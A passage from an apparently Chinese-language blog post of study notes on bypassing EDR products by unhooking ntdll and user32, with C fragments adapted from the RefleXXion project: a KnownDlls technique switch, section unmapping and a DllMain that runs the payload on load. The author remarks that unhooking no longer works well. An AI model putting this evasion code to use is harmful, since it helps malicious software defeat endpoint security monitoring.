ntStatus = NtUnmapViewOfSection(NtCurrentProcess(), pCleanNtdll);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] NtUnmapViewOfSection error: %X\n", ntStatus);
return FALSE;
}

// Close KnownDll handle
CloseHandle(hKnownDll);

printf("[+] All done.\n");

return TRUE;

}

int main() {

if (InitSyscallsFromLdrpThunkSignature() == TRUE) {

//Technique1();
Technique2();
//主要用到的还是第二种方法
}


return 0;
}

再查看dll的制作方法

注释了1方法1段的代码

添加了手动转换 方法一 和方法二

1
2
3
#define FROM_DISK 0 // If you set it to 1, the Technique-1 will be used. For more information; https://github.com/hlldz/RefleXXion
#define FROM_KNOWNDLLS 1 // If you set it to 1, the Technique-2 will be used. For more information; https://github.com/hlldz/RefleXXion

和dllmain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {

switch (fdwReason) {
case DLL_PROCESS_ATTACH:
go();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
//有后面这几个的话代表go()一定运行了
return TRUE;

EDR-Bypass-demo-6

借用了reflexxion的部分代码

c++代码,修改RefleXXion使其对user32.dll进行unhook。

没写RefleXXion的改法

补充-现在unhook真的没用

image-20221004223813244

我看的这些代码还是太过旧了???

大佬会话

1
这就是为啥我跟你说要多学蓝队开发的原因 国内天天说bypass 杀软/edr,问题是连IDA F5都没F5过 搞外挂的还会F5反作弊

unhook
http://example.com/unhook.html
Author
CDxiaodong
Posted on
October 29, 2022
Licensed under